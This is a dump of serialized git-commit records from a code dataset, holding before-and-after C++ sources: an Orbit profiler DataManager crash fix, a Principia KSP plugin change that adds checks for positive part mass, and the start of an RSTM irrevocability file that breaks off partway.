reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"DataManager.h\"\n\n#include \"OrbitBase\/Logging.h\"\n#include \"OrbitClientData\/ModuleData.h\"\n#include \"OrbitClientData\/ProcessData.h\"\n#include \"absl\/container\/flat_hash_map.h\"\n#include \"absl\/container\/flat_hash_set.h\"\n\nusing orbit_client_protos::FunctionInfo;\nusing orbit_grpc_protos::ModuleInfo;\nusing orbit_grpc_protos::ProcessInfo;\nusing orbit_grpc_protos::TracepointInfo;\n\nvoid DataManager::UpdateProcessInfos(const std::vector<ProcessInfo>& process_infos) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n \/\/ Note that at this point the data manager does not remove old processes.\n \/\/ To do it correctly we may need to implement some callback logic here\n \/\/ since the ProcessData can be in use by some views.\n for (const ProcessInfo& info : process_infos) {\n int32_t process_id = info.pid();\n auto it = process_map_.find(process_id);\n if (it != process_map_.end()) {\n it->second.SetProcessInfo(info);\n } else {\n auto [inserted_it, success] = process_map_.try_emplace(process_id, info);\n CHECK(success);\n }\n }\n}\n\nvoid DataManager::UpdateModuleInfos(int32_t process_id,\n const std::vector<ModuleInfo>& module_infos) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n auto process_it = process_map_.find(process_id);\n CHECK(process_it != process_map_.end());\n ProcessData& process = process_it->second;\n\n for (const auto& module_info : module_infos) {\n auto module_it = module_map_.find(module_info.file_path());\n if (module_it == module_map_.end()) {\n const auto [inserted_it, success] = module_map_.try_emplace(\n module_info.file_path(), std::make_unique<ModuleData>(module_info));\n CHECK(success);\n } else {\n ModuleData* module = (*module_it).second.get();\n if (!module->is_loaded()) continue;\n \/\/ When a module is already loaded (has loaded symbols), it could be the case that the\n \/\/ modules base address changed. Since the module base address is *currently* saved in\n \/\/ FunctionInfo, these need to be updated.\n \/\/ TODO(169309553): As soon as module base address is not part of FunctionInfo anymore, remove\n \/\/ the following.\n if (module_info.address_start() != process.GetModuleBaseAddress(module->file_path())) {\n module->UpdateFunctionsModuleBaseAddress(module_info.address_start());\n }\n }\n }\n\n process.UpdateModuleInfos(module_infos);\n}\n\nvoid DataManager::SelectFunction(const FunctionInfo& function) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n if (!selected_functions_.contains(function)) {\n selected_functions_.insert(function);\n }\n}\n\nvoid DataManager::DeselectFunction(const FunctionInfo& function) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n selected_functions_.erase(function);\n}\n\nvoid DataManager::set_visible_functions(absl::flat_hash_set<uint64_t> visible_functions) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n visible_functions_ = std::move(visible_functions);\n}\n\nvoid DataManager::set_selected_thread_id(int32_t thread_id) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n selected_thread_id_ = thread_id;\n}\n\nbool DataManager::IsFunctionVisible(uint64_t function_address) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return visible_functions_.contains(function_address);\n}\n\nint32_t DataManager::selected_thread_id() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return selected_thread_id_;\n}\n\nconst TextBox* DataManager::selected_text_box() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return selected_text_box_;\n}\n\nvoid DataManager::set_selected_text_box(const TextBox* text_box) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n selected_text_box_ = text_box;\n}\n\nvoid DataManager::ClearSelectedFunctions() {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n selected_functions_.clear();\n}\n\nconst ProcessData* DataManager::GetProcessByPid(int32_t process_id) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n auto it = process_map_.find(process_id);\n if (it == process_map_.end()) {\n return nullptr;\n }\n\n return &it->second;\n}\n\nconst ModuleData* DataManager::GetModuleByPath(const std::string& path) const {\n return GetMutableModuleByPath(path);\n}\n\nModuleData* DataManager::GetMutableModuleByPath(const std::string& path) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n auto it = module_map_.find(path);\n if (it == module_map_.end()) {\n return nullptr;\n }\n\n return it->second.get();\n}\n\nbool DataManager::IsFunctionSelected(const FunctionInfo& function) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return selected_functions_.contains(function);\n}\n\nstd::vector<FunctionInfo> DataManager::GetSelectedFunctions() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return std::vector<FunctionInfo>(selected_functions_.begin(), selected_functions_.end());\n}\n\nstd::vector<FunctionInfo> DataManager::GetSelectedAndOrbitFunctions() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n CHECK(selected_process_ != nullptr);\n\n std::vector<FunctionInfo> result = GetSelectedFunctions();\n\n \/\/ Collect OrbitFunctions\n for (const auto& [module_path, _] : selected_process_->GetMemoryMap()) {\n const ModuleData* module = module_map_.at(module_path).get();\n if (!module->is_loaded()) continue;\n\n const std::vector<FunctionInfo>& orbit_functions = module->GetOrbitFunctions();\n result.insert(result.end(), orbit_functions.begin(), orbit_functions.end());\n }\n\n return result;\n}\n\nvoid DataManager::set_selected_process(int32_t pid) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n const ProcessData* process = GetProcessByPid(pid);\n CHECK(process != nullptr);\n selected_process_ = process;\n}\n\nconst ProcessData* DataManager::selected_process() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return selected_process_;\n}\n\nvoid DataManager::SelectTracepoint(const TracepointInfo& info) {\n if (!IsTracepointSelected(info)) selected_tracepoints_.emplace(info);\n}\n\nvoid DataManager::DeselectTracepoint(const TracepointInfo& info) {\n CHECK(IsTracepointSelected(info));\n selected_tracepoints_.erase(info);\n}\n\nbool DataManager::IsTracepointSelected(const TracepointInfo& info) const {\n return selected_tracepoints_.contains(info);\n}\n\nconst TracepointInfoSet& DataManager::selected_tracepoints() const { return selected_tracepoints_; }\n\nconst ModuleData* DataManager::FindModuleByAddress(int32_t process_id, uint64_t absolute_address) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n const ProcessData* process = GetProcessByPid(process_id);\n if (process == nullptr) return nullptr;\n\n const auto& result = process->FindModuleByAddress(absolute_address);\n if (!result) return nullptr;\n\n const std::string& module_path = result.value().first;\n\n return module_map_.at(module_path).get();\n}\n\nconst FunctionInfo* DataManager::FindFunctionByAddress(int32_t process_id,\n uint64_t absolute_address,\n bool is_exact) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n const ProcessData* process = GetProcessByPid(process_id);\n if (process == nullptr) return nullptr;\n\n const auto& result = process->FindModuleByAddress(absolute_address);\n if (!result) return nullptr;\n\n const std::string& module_path = result.value().first;\n const uint64_t module_base_address = result.value().second;\n\n const ModuleData* module = module_map_.at(module_path).get();\n\n const uint64_t relative_address = absolute_address - module_base_address;\n return module->FindFunctionByRelativeAddress(relative_address, is_exact);\n}\n\n[[nodiscard]] absl::flat_hash_map<std::string, ModuleData*> DataManager::GetModulesLoadedByProcess(\n const ProcessData* process) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n absl::flat_hash_map<std::string, ModuleData*> result;\n for (const auto& [module_path, _] : process->GetMemoryMap()) {\n result[module_path] = module_map_.at(module_path).get();\n }\n\n return result;\n}<commit_msg>Fix crash because of wrong order in DataManager<commit_after>\/\/ Copyright (c) 2020 The Orbit Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"DataManager.h\"\n\n#include \"OrbitBase\/Logging.h\"\n#include \"OrbitClientData\/ModuleData.h\"\n#include \"OrbitClientData\/ProcessData.h\"\n#include \"absl\/container\/flat_hash_map.h\"\n#include \"absl\/container\/flat_hash_set.h\"\n\nusing orbit_client_protos::FunctionInfo;\nusing orbit_grpc_protos::ModuleInfo;\nusing orbit_grpc_protos::ProcessInfo;\nusing orbit_grpc_protos::TracepointInfo;\n\nvoid DataManager::UpdateProcessInfos(const std::vector<ProcessInfo>& process_infos) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n \/\/ Note that at this point the data manager does not remove old processes.\n \/\/ To do it correctly we may need to implement some callback logic here\n \/\/ since the ProcessData can be in use by some views.\n for (const ProcessInfo& info : process_infos) {\n int32_t process_id = info.pid();\n auto it = process_map_.find(process_id);\n if (it != process_map_.end()) {\n it->second.SetProcessInfo(info);\n } else {\n auto [inserted_it, success] = process_map_.try_emplace(process_id, info);\n CHECK(success);\n }\n }\n}\n\nvoid DataManager::UpdateModuleInfos(int32_t process_id,\n const std::vector<ModuleInfo>& module_infos) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n auto process_it = process_map_.find(process_id);\n CHECK(process_it != process_map_.end());\n ProcessData& process = process_it->second;\n process.UpdateModuleInfos(module_infos);\n\n for (const auto& module_info : module_infos) {\n auto module_it = module_map_.find(module_info.file_path());\n if (module_it == module_map_.end()) {\n const auto [inserted_it, success] = module_map_.try_emplace(\n module_info.file_path(), std::make_unique<ModuleData>(module_info));\n CHECK(success);\n } else {\n ModuleData* module = (*module_it).second.get();\n if (!module->is_loaded()) continue;\n \/\/ When a module is already loaded (has loaded symbols), it could be the case that the\n \/\/ modules base address changed. Since the module base address is *currently* saved in\n \/\/ FunctionInfo, these need to be updated.\n \/\/ TODO(169309553): As soon as module base address is not part of FunctionInfo anymore, remove\n \/\/ the following.\n if (module_info.address_start() != process.GetModuleBaseAddress(module->file_path())) {\n module->UpdateFunctionsModuleBaseAddress(module_info.address_start());\n }\n }\n }\n}\n\nvoid DataManager::SelectFunction(const FunctionInfo& function) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n if (!selected_functions_.contains(function)) {\n selected_functions_.insert(function);\n }\n}\n\nvoid DataManager::DeselectFunction(const FunctionInfo& function) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n selected_functions_.erase(function);\n}\n\nvoid DataManager::set_visible_functions(absl::flat_hash_set<uint64_t> visible_functions) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n visible_functions_ = std::move(visible_functions);\n}\n\nvoid DataManager::set_selected_thread_id(int32_t thread_id) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n selected_thread_id_ = thread_id;\n}\n\nbool DataManager::IsFunctionVisible(uint64_t function_address) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return visible_functions_.contains(function_address);\n}\n\nint32_t DataManager::selected_thread_id() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return selected_thread_id_;\n}\n\nconst TextBox* DataManager::selected_text_box() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return selected_text_box_;\n}\n\nvoid DataManager::set_selected_text_box(const TextBox* text_box) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n selected_text_box_ = text_box;\n}\n\nvoid DataManager::ClearSelectedFunctions() {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n selected_functions_.clear();\n}\n\nconst ProcessData* DataManager::GetProcessByPid(int32_t process_id) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n auto it = process_map_.find(process_id);\n if (it == process_map_.end()) {\n return nullptr;\n }\n\n return &it->second;\n}\n\nconst ModuleData* DataManager::GetModuleByPath(const std::string& path) const {\n return GetMutableModuleByPath(path);\n}\n\nModuleData* DataManager::GetMutableModuleByPath(const std::string& path) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n auto it = module_map_.find(path);\n if (it == module_map_.end()) {\n return nullptr;\n }\n\n return it->second.get();\n}\n\nbool DataManager::IsFunctionSelected(const FunctionInfo& function) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return selected_functions_.contains(function);\n}\n\nstd::vector<FunctionInfo> DataManager::GetSelectedFunctions() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return std::vector<FunctionInfo>(selected_functions_.begin(), selected_functions_.end());\n}\n\nstd::vector<FunctionInfo> DataManager::GetSelectedAndOrbitFunctions() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n CHECK(selected_process_ != nullptr);\n\n std::vector<FunctionInfo> result = GetSelectedFunctions();\n\n \/\/ Collect OrbitFunctions\n for (const auto& [module_path, _] : selected_process_->GetMemoryMap()) {\n const ModuleData* module = module_map_.at(module_path).get();\n if (!module->is_loaded()) continue;\n\n const std::vector<FunctionInfo>& orbit_functions = module->GetOrbitFunctions();\n result.insert(result.end(), orbit_functions.begin(), orbit_functions.end());\n }\n\n return result;\n}\n\nvoid DataManager::set_selected_process(int32_t pid) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n const ProcessData* process = GetProcessByPid(pid);\n CHECK(process != nullptr);\n selected_process_ = process;\n}\n\nconst ProcessData* DataManager::selected_process() const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n return selected_process_;\n}\n\nvoid DataManager::SelectTracepoint(const TracepointInfo& info) {\n if (!IsTracepointSelected(info)) selected_tracepoints_.emplace(info);\n}\n\nvoid DataManager::DeselectTracepoint(const TracepointInfo& info) {\n CHECK(IsTracepointSelected(info));\n selected_tracepoints_.erase(info);\n}\n\nbool DataManager::IsTracepointSelected(const TracepointInfo& info) const {\n return selected_tracepoints_.contains(info);\n}\n\nconst TracepointInfoSet& DataManager::selected_tracepoints() const { return selected_tracepoints_; }\n\nconst ModuleData* DataManager::FindModuleByAddress(int32_t process_id, uint64_t absolute_address) {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n const ProcessData* process = GetProcessByPid(process_id);\n if (process == nullptr) return nullptr;\n\n const auto& result = process->FindModuleByAddress(absolute_address);\n if (!result) return nullptr;\n\n const std::string& module_path = result.value().first;\n\n return module_map_.at(module_path).get();\n}\n\nconst FunctionInfo* DataManager::FindFunctionByAddress(int32_t process_id,\n uint64_t absolute_address,\n bool is_exact) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n const ProcessData* process = GetProcessByPid(process_id);\n if (process == nullptr) return nullptr;\n\n const auto& result = process->FindModuleByAddress(absolute_address);\n if (!result) return nullptr;\n\n const std::string& module_path = result.value().first;\n const uint64_t module_base_address = result.value().second;\n\n const ModuleData* module = module_map_.at(module_path).get();\n\n const uint64_t relative_address = absolute_address - module_base_address;\n return module->FindFunctionByRelativeAddress(relative_address, is_exact);\n}\n\n[[nodiscard]] absl::flat_hash_map<std::string, ModuleData*> DataManager::GetModulesLoadedByProcess(\n const ProcessData* process) const {\n CHECK(std::this_thread::get_id() == main_thread_id_);\n\n absl::flat_hash_map<std::string, ModuleData*> result;\n for (const auto& [module_path, _] : process->GetMemoryMap()) {\n result[module_path] = module_map_.at(module_path).get();\n }\n\n return result;\n}<|endoftext|>"} {"text":"<commit_before>\n#pragma once\n\n#include \"ksp_plugin\/part.hpp\"\n\n#include <list>\n#include <string>\n\n#include \"base\/array.hpp\"\n#include \"base\/hexadecimal.hpp\"\n#include \"base\/not_null.hpp\"\n\nnamespace principia {\nnamespace ksp_plugin {\nnamespace internal_part {\n\nusing base::Array;\nusing base::HexadecimalEncode;\nusing base::make_not_null_unique;\nusing base::UniqueBytes;\n\nPart::Part(\n PartId const part_id,\n std::string const& name,\n Mass const& mass,\n DegreesOfFreedom<Barycentric> const& degrees_of_freedom,\n std::function<void()> deletion_callback)\n : part_id_(part_id),\n name_(name),\n mass_(mass),\n degrees_of_freedom_(degrees_of_freedom),\n tail_(make_not_null_unique<DiscreteTrajectory<Barycentric>>()),\n subset_node_(make_not_null_unique<Subset<Part>::Node>()),\n deletion_callback_(std::move(deletion_callback)) {}\n\nPart::~Part() {\n LOG(INFO) << \"Destroying part \" << ShortDebugString();\n CHECK(!is_piled_up());\n if (deletion_callback_ != nullptr) {\n deletion_callback_();\n }\n}\n\nPartId Part::part_id() const {\n return part_id_;\n}\n\nvoid Part::set_mass(Mass const& mass) {\n mass_ = mass;\n}\n\nMass const& Part::mass() const {\n return mass_;\n}\n\nvoid Part::clear_intrinsic_force() {\n intrinsic_force_ = Vector<Force, Barycentric>{};\n}\n\nvoid Part::increment_intrinsic_force(\n Vector<Force, Barycentric> const& intrinsic_force) {\n intrinsic_force_ += intrinsic_force;\n}\n\nVector<Force, Barycentric> const& Part::intrinsic_force() const {\n return intrinsic_force_;\n}\n\nvoid Part::set_degrees_of_freedom(\n DegreesOfFreedom<Barycentric> const& degrees_of_freedom) {\n degrees_of_freedom_ = degrees_of_freedom;\n}\n\nDegreesOfFreedom<Barycentric> const&\nPart::degrees_of_freedom() const {\n return degrees_of_freedom_;\n}\n\nDiscreteTrajectory<Barycentric>& Part::tail() {\n return *tail_;\n}\n\nDiscreteTrajectory<Barycentric> const& Part::tail() const {\n return *tail_;\n}\n\nbool Part::tail_is_authoritative() const {\n return tail_is_authoritative_;\n}\n\nvoid Part::set_tail_is_authoritative(bool const tail_is_authoritative) {\n tail_is_authoritative_ = tail_is_authoritative;\n}\n\nvoid Part::set_containing_pile_up(IteratorOn<std::list<PileUp>> const pile_up) {\n CHECK(!is_piled_up());\n LOG(INFO) << \"Adding part \" << ShortDebugString() << \" to the pile up at \"\n << &*pile_up.iterator();\n containing_pile_up_ = pile_up;\n}\n\nstd::experimental::optional<IteratorOn<std::list<PileUp>>>\nPart::containing_pile_up() const {\n return containing_pile_up_;\n}\n\nbool Part::is_piled_up() const {\n \/\/ TODO(egg): |has_value()| once we have a standard |optional|.\n return static_cast<bool>(containing_pile_up_);\n}\n\nvoid Part::clear_pile_up() {\n if (is_piled_up()) {\n IteratorOn<std::list<PileUp>> pile_up = *containing_pile_up_;\n for (not_null<Part*> const part : pile_up.iterator()->parts()) {\n LOG(INFO) << \"Removing part \" << part->ShortDebugString()\n << \" from its pile up at \" << &*pile_up.iterator();\n part->containing_pile_up_ = std::experimental::nullopt;\n }\n CHECK(!is_piled_up());\n pile_up.Erase();\n }\n}\n\nvoid Part::WriteToMessage(not_null<serialization::Part*> const message) const {\n message->set_part_id(part_id_);\n message->set_name(name_);\n mass_.WriteToMessage(message->mutable_mass());\n intrinsic_force_.WriteToMessage(message->mutable_intrinsic_force());\n if (containing_pile_up_) {\n message->set_containing_pile_up(containing_pile_up_->distance_from_begin());\n }\n degrees_of_freedom_.WriteToMessage(message->mutable_degrees_of_freedom());\n tail_->WriteToMessage(message->mutable_tail(), \/*forks=*\/{});\n message->set_tail_is_authoritative(tail_is_authoritative_);\n}\n\nnot_null<std::unique_ptr<Part>> Part::ReadFromMessage(\n serialization::Part const& message,\n std::function<void()> deletion_callback) {\n not_null<std::unique_ptr<Part>> part =\n make_not_null_unique<Part>(message.part_id(),\n message.name(),\n Mass::ReadFromMessage(message.mass()),\n DegreesOfFreedom<Barycentric>::ReadFromMessage(\n message.degrees_of_freedom()),\n std::move(deletion_callback));\n part->increment_intrinsic_force(\n Vector<Force, Barycentric>::ReadFromMessage(message.intrinsic_force()));\n part->tail_ = DiscreteTrajectory<Barycentric>::ReadFromMessage(message.tail(),\n \/*forks=*\/{});\n part->set_tail_is_authoritative(message.tail_is_authoritative());\n return part;\n}\n\nvoid Part::FillContainingPileUpFromMessage(\n serialization::Part const& message,\n not_null<std::list<PileUp>*> const pile_ups) {\n if (message.has_containing_pile_up()) {\n auto it = pile_ups->begin();\n std::advance(it, message.containing_pile_up());\n containing_pile_up_ = IteratorOn<std::list<PileUp>>(pile_ups, it);\n }\n}\n\nstd::string Part::ShortDebugString() const {\n UniqueBytes hex_id(sizeof(part_id_) * 2 + 1);\n Array<std::uint8_t const> id_bytes(\n reinterpret_cast<std::uint8_t const*>(&part_id_), sizeof(part_id_));\n HexadecimalEncode(id_bytes, hex_id.get());\n hex_id.data[sizeof(part_id_) * 2] = '\\0';\n return name_ + \" (\" + reinterpret_cast<char const*>(hex_id.data.get()) + \")\";\n}\n\nstd::ostream& operator<<(std::ostream& out, Part const& part) {\n return out << \"{\"\n << part.part_id() << \", \"\n << part.mass() << \"}\";\n}\n\n} \/\/ namespace internal_part\n} \/\/ namespace ksp_plugin\n} \/\/ namespace principia\n<commit_msg>to the nearest tonne, how much does this Kerbal weigh?<commit_after>\n#pragma once\n\n#include \"ksp_plugin\/part.hpp\"\n\n#include <list>\n#include <string>\n\n#include \"base\/array.hpp\"\n#include \"base\/hexadecimal.hpp\"\n#include \"base\/not_null.hpp\"\n\nnamespace principia {\nnamespace ksp_plugin {\nnamespace internal_part {\n\nusing base::Array;\nusing base::HexadecimalEncode;\nusing base::make_not_null_unique;\nusing base::UniqueBytes;\n\nPart::Part(\n PartId const part_id,\n std::string const& name,\n Mass const& mass,\n DegreesOfFreedom<Barycentric> const& degrees_of_freedom,\n std::function<void()> deletion_callback)\n : part_id_(part_id),\n name_(name),\n mass_(mass),\n degrees_of_freedom_(degrees_of_freedom),\n tail_(make_not_null_unique<DiscreteTrajectory<Barycentric>>()),\n subset_node_(make_not_null_unique<Subset<Part>::Node>()),\n deletion_callback_(std::move(deletion_callback)) {\n CHECK_GT(mass_, Mass{}) << ShortDebugString();\n}\n\nPart::~Part() {\n LOG(INFO) << \"Destroying part \" << ShortDebugString();\n CHECK(!is_piled_up());\n if (deletion_callback_ != nullptr) {\n deletion_callback_();\n }\n}\n\nPartId Part::part_id() const {\n return part_id_;\n}\n\nvoid Part::set_mass(Mass const& mass) {\n CHECK_GT(mass, Mass{}) << ShortDebugString();\n mass_ = mass;\n}\n\nMass const& Part::mass() const {\n return mass_;\n}\n\nvoid Part::clear_intrinsic_force() {\n intrinsic_force_ = Vector<Force, Barycentric>{};\n}\n\nvoid Part::increment_intrinsic_force(\n Vector<Force, Barycentric> const& intrinsic_force) {\n intrinsic_force_ += intrinsic_force;\n}\n\nVector<Force, Barycentric> const& Part::intrinsic_force() const {\n return intrinsic_force_;\n}\n\nvoid Part::set_degrees_of_freedom(\n DegreesOfFreedom<Barycentric> const& degrees_of_freedom) {\n degrees_of_freedom_ = degrees_of_freedom;\n}\n\nDegreesOfFreedom<Barycentric> const&\nPart::degrees_of_freedom() const {\n return degrees_of_freedom_;\n}\n\nDiscreteTrajectory<Barycentric>& Part::tail() {\n return *tail_;\n}\n\nDiscreteTrajectory<Barycentric> const& Part::tail() const {\n return *tail_;\n}\n\nbool Part::tail_is_authoritative() const {\n return tail_is_authoritative_;\n}\n\nvoid Part::set_tail_is_authoritative(bool const tail_is_authoritative) {\n tail_is_authoritative_ = tail_is_authoritative;\n}\n\nvoid Part::set_containing_pile_up(IteratorOn<std::list<PileUp>> const pile_up) {\n CHECK(!is_piled_up());\n LOG(INFO) << \"Adding part \" << ShortDebugString() << \" to the pile up at \"\n << &*pile_up.iterator();\n containing_pile_up_ = pile_up;\n}\n\nstd::experimental::optional<IteratorOn<std::list<PileUp>>>\nPart::containing_pile_up() const {\n return containing_pile_up_;\n}\n\nbool Part::is_piled_up() const {\n \/\/ TODO(egg): |has_value()| once we have a standard |optional|.\n return static_cast<bool>(containing_pile_up_);\n}\n\nvoid Part::clear_pile_up() {\n if (is_piled_up()) {\n IteratorOn<std::list<PileUp>> pile_up = *containing_pile_up_;\n for (not_null<Part*> const part : pile_up.iterator()->parts()) {\n LOG(INFO) << \"Removing part \" << part->ShortDebugString()\n << \" from its pile up at \" << &*pile_up.iterator();\n part->containing_pile_up_ = std::experimental::nullopt;\n }\n CHECK(!is_piled_up());\n pile_up.Erase();\n }\n}\n\nvoid Part::WriteToMessage(not_null<serialization::Part*> const message) const {\n message->set_part_id(part_id_);\n message->set_name(name_);\n mass_.WriteToMessage(message->mutable_mass());\n intrinsic_force_.WriteToMessage(message->mutable_intrinsic_force());\n if (containing_pile_up_) {\n message->set_containing_pile_up(containing_pile_up_->distance_from_begin());\n }\n degrees_of_freedom_.WriteToMessage(message->mutable_degrees_of_freedom());\n tail_->WriteToMessage(message->mutable_tail(), \/*forks=*\/{});\n message->set_tail_is_authoritative(tail_is_authoritative_);\n}\n\nnot_null<std::unique_ptr<Part>> Part::ReadFromMessage(\n serialization::Part const& message,\n std::function<void()> deletion_callback) {\n not_null<std::unique_ptr<Part>> part =\n make_not_null_unique<Part>(message.part_id(),\n message.name(),\n Mass::ReadFromMessage(message.mass()),\n DegreesOfFreedom<Barycentric>::ReadFromMessage(\n message.degrees_of_freedom()),\n std::move(deletion_callback));\n part->increment_intrinsic_force(\n Vector<Force, Barycentric>::ReadFromMessage(message.intrinsic_force()));\n part->tail_ = DiscreteTrajectory<Barycentric>::ReadFromMessage(message.tail(),\n \/*forks=*\/{});\n part->set_tail_is_authoritative(message.tail_is_authoritative());\n return part;\n}\n\nvoid Part::FillContainingPileUpFromMessage(\n serialization::Part const& message,\n not_null<std::list<PileUp>*> const pile_ups) {\n if (message.has_containing_pile_up()) {\n auto it = pile_ups->begin();\n std::advance(it, message.containing_pile_up());\n containing_pile_up_ = IteratorOn<std::list<PileUp>>(pile_ups, it);\n }\n}\n\nstd::string Part::ShortDebugString() const {\n UniqueBytes hex_id(sizeof(part_id_) * 2 + 1);\n Array<std::uint8_t const> id_bytes(\n reinterpret_cast<std::uint8_t const*>(&part_id_), sizeof(part_id_));\n HexadecimalEncode(id_bytes, hex_id.get());\n hex_id.data[sizeof(part_id_) * 2] = '\\0';\n return name_ + \" (\" + reinterpret_cast<char const*>(hex_id.data.get()) + \")\";\n}\n\nstd::ostream& operator<<(std::ostream& out, Part const& part) {\n return out << \"{\"\n << part.part_id() << \", \"\n << part.mass() << \"}\";\n}\n\n} \/\/ namespace internal_part\n} \/\/ namespace ksp_plugin\n} \/\/ namespace principia\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright (C) 2011\n * University of Rochester Department of Computer Science\n * and\n * Lehigh University Department of Computer Science and Engineering\n *\n * License: Modified BSD\n * Please see the file LICENSE.RSTM for licensing information\n *\/\n\n#include \"common\/platform.hpp\" \/\/ NORETURN, FASTCALL, etc\n#include \"stm\/lib_globals.hpp\" \/\/ AbortHandler\n#include \"stm\/macros.hpp\" \/\/ barrier signatures\n#include \"stm\/txthread.hpp\" \/\/ TxThread stuff\n#include \"policies\/policies.hpp\" \/\/ curr_policy\n#include \"algs\/algs.hpp\" \/\/ stms\n#include \"algs\/tml_inline.hpp\"\n\nusing stm::UNRECOVERABLE;\nusing stm::TxThread;\nusing stm::AbortHandler;\nusing stm::stms;\nusing stm::curr_policy;\nusing stm::CGL;\n\nnamespace {\n \/**\n * The abort handler is set during sys_init. We overwrite it with\n * abort_irrevocable when a transaction becomes irrevocable, and we save the\n * old one here so we can restore it during commit.\n *\/\n AbortHandler old_abort_handler = NULL;\n\n \/**\n * Handler for abort attempts while irrevocable. Useful for trapping problems\n * early.\n *\/\n NORETURN void abort_irrevocable(TxThread* tx)\n {\n UNRECOVERABLE(\"Irrevocable thread attempted to abort.\");\n }\n\n \/**\n * Handler for rollback attempts while irrevocable. Useful for trapping\n * problems early.\n *\n * NB: For whatever reason a 'using stm::scope_t' triggers an ICE in Mac OS\n * X's default gcc-4.2.1. It's fine if we use the fully qualified\n * namespace here.\n *\/\n stm::scope_t* rollback_irrevocable(STM_ROLLBACK_SIG(,,))\n {\n UNRECOVERABLE(\"Irrevocable thread attempted to rollback.\");\n return NULL;\n }\n\n \/**\n * Resets all of the barriers to be the curr_policy bariers, except for\n * tmabort which reverts to the one we saved, and tmbegin which should be\n * done manually in the caller.\n *\/\n inline void unset_irrevocable_barriers(TxThread& tx)\n {\n tx.tmread = stms[curr_policy.ALG_ID].read;\n tx.tmwrite = stms[curr_policy.ALG_ID].write;\n tx.tmcommit = stms[curr_policy.ALG_ID].commit;\n tx.tmrollback = stms[curr_policy.ALG_ID].rollback;\n TxThread::tmirrevoc = stms[curr_policy.ALG_ID].irrevoc;\n tx.tmabort = old_abort_handler;\n }\n\n \/**\n * custom commit for irrevocable transactions\n *\/\n TM_FASTCALL void commit_irrevocable(TxThread* tx)\n {\n \/\/ make self non-irrevocable, and unset local r\/w\/c barriers\n tx->irrevocable = false;\n unset_irrevocable_barriers(*tx);\n \/\/ now allow other transactions to run\n CFENCE;\n TxThread::tmbegin = stms[curr_policy.ALG_ID].begin;\n \/\/ finally, call the standard commit cleanup routine\n OnReadOnlyCommit(tx);\n }\n\n \/**\n * Sets all of the barriers to be irrevocable, except tmbegin.\n *\/\n inline void set_irrevocable_barriers(TxThread& tx)\n {\n tx.tmread = stms[CGL].read;\n tx.tmwrite = stms[CGL].write;\n tx.tmcommit = commit_irrevocable;\n tx.tmrollback = rollback_irrevocable;\n TxThread::tmirrevoc = stms[CGL].irrevoc;\n old_abort_handler = tx.tmabort;\n tx.tmabort = abort_irrevocable;\n }\n}\n\nnamespace stm\n{\n \/**\n * The 'Serial' algorithm requires a custom override for irrevocability,\n * which we implement here.\n *\/\n void serial_irrevoc_override(TxThread* tx);\n\n \/**\n * Try to become irrevocable, inflight. This happens via mode\n * switching. If the inflight irrevocability fails, we fall-back to an\n * abort-and-restart-as-irrevocable scheme, based on the understanding\n * that the begin_blocker tmbegin barrier will configure us as irrevocable\n * and let us through if we have our irrevocable flag set. In addition to\n * letting us through, it will set our barrier pointers to be the\n * irrevocable barriers---it has to be done here because the rollback that\n * the abort triggers will reset anything we try and set here.\n *\/\n void become_irrevoc()\n {\n TxThread* tx = Self;\n \/\/ special code for degenerate STM implementations\n \/\/\n \/\/ NB: stm::is_irrevoc relies on how this works, so if it changes then\n \/\/ please update that code as well.\n if (TxThread::tmirrevoc == stms[CGL].irrevoc)\n return;\n\n if ((curr_policy.ALG_ID == MCS) || (curr_policy.ALG_ID == Ticket))\n return;\n\n if (curr_policy.ALG_ID == Serial) {\n serial_irrevoc_override(tx);\n return;\n }\n\n if (curr_policy.ALG_ID == TML) {\n if (!tx->tmlHasLock)\n beforewrite_TML(tx);\n return;\n }\n\n \/\/ prevent new txns from starting. If this fails, it means one of\n \/\/ three things:\n \/\/\n \/\/ - Someone else became irrevoc\n \/\/ - Thread 